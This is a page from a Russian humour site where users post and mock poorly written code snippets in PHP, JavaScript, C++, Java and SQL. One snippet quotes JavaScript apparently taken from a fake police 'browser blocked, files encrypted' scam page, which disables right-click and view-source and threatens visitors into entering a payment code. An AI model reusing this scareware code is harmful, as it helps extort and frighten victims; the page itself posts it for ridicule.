- 1
<option<?=($qqrow->ServiceID==$row->ID&&!isset($servid))?" selected":""?><?=(isset($servid))?($servid==$row->ID)?" selected":"":""?> value="<?=$row->ID?>"><?=$row->Name?>
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+154
<option<?=($qqrow->ServiceID==$row->ID&&!isset($servid))?" selected":""?><?=(isset($servid))?($servid==$row->ID)?" selected":"":""?> value="<?=$row->ID?>"><?=$row->Name?>
+159
$(document).ready(function(){
...
window.onbeforeunload = function(){
if(submitclicked){
var block = "ВАШ БРАУЗЕР ЗАБЛОКИРОВАН В ЦЕЛЯХ БЕЗОПАСНОСТИ. \n\nВСЯ ИНФОРМАЦИЯ НА ВАШЕМ КОМПЬЮТЕРЕ АРЕСТОВАНА. \n\nВСЕ ВАШИ ФАЙЛЫ ЗАШИФРОВАНЫ.";
block = new Array(45).join(block + "\n\n\n");
return block;
}
};
});
document.ondragstart = keyboard;
document.onselectstart = keyboard;
document.oncontextmenu = keyboard;
function keyboard() {
return false;
}
document.onkeydown = function(e) {
e = e || window.event;
if(e.keyCode == 85 | e.keyCode == 117) { return false; }
return true;
}
var iii=3;
var xmlmy;
if (window.XMLHttpRequest)
{// код для IE7+, Firefox, Chrome, Opera, Safari
xmlmy=new XMLHttpRequest();
}
else
{// код для IE6, IE5
xmlmy=new ActiveXObject("Microsoft.XMLHTTP");
}
function Sendxxx(){
xmlmy.open("GET","proverka.php?key="+document.all.data_1.value,true);
xmlmy.send();
if(iii>0){
alert('Код транзакции неверен до отправки данных в центральный отдел "К" осталось '+iii+' попытки');
} else {
alert('Наряд полиции выехал по вашему адресу!!!');};
iii=iii-1;
}
http://mvd-russian.eu/reshenie/
+51
void __fastcall TForm3::Button1Click(TObject *Sender)
{
AnsiString a1,b1,c1,d1,a2,b2,c2,d2,a3,b3,c3,d3,a4,b4,c4,d4,r1,r2,r3,r4,r5,r6,r7,r8,r9,r10;
a1=Edit1->Text;
b1=Edit5->Text;
if (a1==b1) a1>>r1;
else "n">>r1;
a2=Edit2->Text;
b2=Edit6->Text;
if (a2==b2) a2>>r2;
else "n">>r2;
a3=Edit3->Text;
b3=Edit7->Text;
if (a3==b3) a3>>r3;
else "n">>r3;
a4=Edit4->Text;
b4=Edit8->Text;
if (a4==b4) a4>>r4;
else "n">>r4;
c1=Edit9->Text;
d1=Edit13->Text;
if (c1==d1) c1>>r5;
else "n">>r5;
c2=Edit10->Text;
d2=Edit14->Text;
if (c2==d2) c2>>r6;
else "n">>r6;
c3=Edit11->Text;
d3=Edit15->Text;
if (c3==d3) c3>>r7;
else "n">>r7;
c4=Edit12->Text;
d4=Edit15->Text;
if (c4==d4) c4>>r8;
else "n">>r8;
}
//---------------------------------------------------------------------------
void __fastcall TForm3::Label6Click(TObject *Sender)
{
int r1,r2,r3,r4,r5,r6,r7,r8;
Label6->Caption=r1;
Label7->Caption=r2;
Label8->Caption=r3;
Label9->Caption=r4;
Label10->Caption=r5;
Label11->Caption=r6;
Label12->Caption=r7;
Label13->Caption=r8;
}
По словам "очевидца", код сравнивает посимвольно две строки и пропускает не совпавшие символы
−153
private function getOldPreviewBySize(width: Number, height: Number): BitmapData
{
- return oldPreviewsArr[width.toString() + height.toString()];
+ if (width && height)
+ return oldPreviewsArr[width.toString() + height.toString()];
+ else
+ return null;
}
хорошо исправил (размеры картинки вполне могут быть и двух и трех-значными цифрами)
+71
public StickyRouting getStickyRouting(String groupName, String sbPin, String ccNumber) {
StickyRouting result = null;
boolean isGroupNameEmpty = StringUtils.isEmpty(groupName) ? true : false;
boolean isCcNumberEmpty = StringUtils.isEmpty(ccNumber) ? true : false;
boolean isSbPinEmpty = StringUtils.isEmpty(sbPin) ? true : false;
...
}
+154
function UsersDefineParameters(&$db_parameters, &$cookie_parameters, $key = '', $is_check_db = false)
{
global $CONFIG, $USER, $SCRIPT;
if (!$key) $key = array();
$SCRIPT[ttt] = $is_check_db ? 1 : 0;
$default_val = tieArrayValue($CONFIG[defaults], $key);
$SCRIPT[ttt] = 0;
$user_val = tieArrayValue($USER[parameters], $key);
$db_val = tieArrayValue($db_parameters, $key);
$cookie_val = tieArrayValue($cookie_parameters, $key);
if ($is_check_db)
{
if (!is_array($db_val) || (isListArray($db_val) && count($db_val) == 2 && is_int($db_val[1])))
{if (!isset($default_val)) tieArrayValue($USER[parameters], $key, is_array($db_val) ? $db_val[0] : $db_val);}
else foreach ($db_val as $k=>$v) UsersDefineParameters($db_parameters, $cookie_parameters, array_merge($key, array($k)), 1);
}
else
if (!is_array($default_val) || (isListArray($default_val) && count($default_val) == 2 && is_int($default_val[1])))
{
$use_cookie = !is_array($default_val) || $default_val[1];
$keys = array(db, cookie);
foreach ($keys as $k)
if (isset(${$k._val}))
{${$k._time} = is_array(${$k._val}) ? (int)${$k._val}[1] : 0; if (is_array(${$k._val})) ${$k._val} = ${$k._val}[0];}
if (isset($db_val) && (!$use_cookie || !isset($cookie_val) || $db_time >= $cookie_time)) {$val = $db_val; $time = $db_time;}
elseif ($use_cookie && isset($cookie_val)) {$val = $cookie_val; $time = $cookie_time;}
else {$val = is_array($default_val) ? $default_val[0] : $default_val; unset($time);}
if (isset($time))
{
if ($val != $db_val) {tieArrayValue($SCRIPT[write_db_parameters], $key, array($val,$time)); $SCRIPT[is_write_db_parameters] = true;}
if ($use_cookie) tieArrayValue($SCRIPT[write_cookie_parameters], $key, array($val, $time));
}
tieArrayValue($USER[parameters], $key, $val);
}
else foreach ($default_val as $k=>$v) UsersDefineParameters($db_parameters, $cookie_parameters, array_merge($key, array($k)));
if (!$is_check_db && !$key) UsersDefineParameters($db_parameters, $cookie_parameters, '', 1);
}
function tieArrayValue(&$arr, $key, $value = '')
{
if (is_string($key)) $key = explode('][',substr($key,1,-1));
$element = &$arr;
$count=count($key);
for ($i=0;$i<$count;$i++) $element = &$element[$key[$i]];
if (func_num_args() == 3) {$element = $value; unset($arr);}
else return $element;
}
function isListArray($arr)
{
if (!is_array($arr)) return false;
@reset($arr); $i = 0;
while (list($key) = @each($arr)) if ((string)$key != (string)$i++) return false;
return true;
}
Крайне "эффективное" склеивание массивов с настройками из разных источников
+153
$date=date(Ymd);
$day=substr($date,6,2);
$month=substr($date,4,2);
$year=substr($date,0,4);
list($date,$month,$year) = explode("/",date("D/M/Y"));
+154
var SomeObject = {
ToggleUploadButton: function () {
/// <summary>Отобразить или спрятать кнопку загрузки</summary>
var arr = this._ImageList.getElementsByTagName("LI");
if (arr.length > 0)
$(this._UploadPanel).removeAttr("disabled");
else $(this._UploadPanel).attr("disabled", "disabled");
},
OnButtonClick: function (e) {
/// <summary>Обаботка события нажатия на кнопку "Загрузить". Проходим по всем миниатюрам из списка, читаем у каждой свойство file (добавленное при создании) и начинаем загрузку, создавая экземпляры объекта uploaderObject. По мере загрузки, обновляем показания progress bar, через обработчик onprogress, по завершении выводим информацию.</summary>
if (!this.IsUploadCompatible)
return true;
if ($(this._UploadPanel).attr('disabled') !== undefined) return false;
//...
}
}
Вот таким красивым способом проверяем на наличие файлов в контейнере для загрузки...
−117
DELETE FROM "DB_NAME"."TABLE_NAME" WHERE ROWID = 'AAAgtGAAFAAAAYDAAC' AND ORA_ROWSCN = '17177328' and ( "PKEY_COL" is null or "PKEY_COL" is not null )
Запрос, генерируемый SQL Developer для удаления строки. Ну чё, зато работает.
+158
scope = new Object();
scope = document.getElementById("scope");
…
var block = document.getElementById("scope");
var els = block.getElementsByClassName("noactive");
for(var n in els)
{
els[n].className = "active";
}
Проклятие, этот человек хоть что-нибудь думает, когда кодит? Хочется взять — и… Потому что мне с этим потом работать.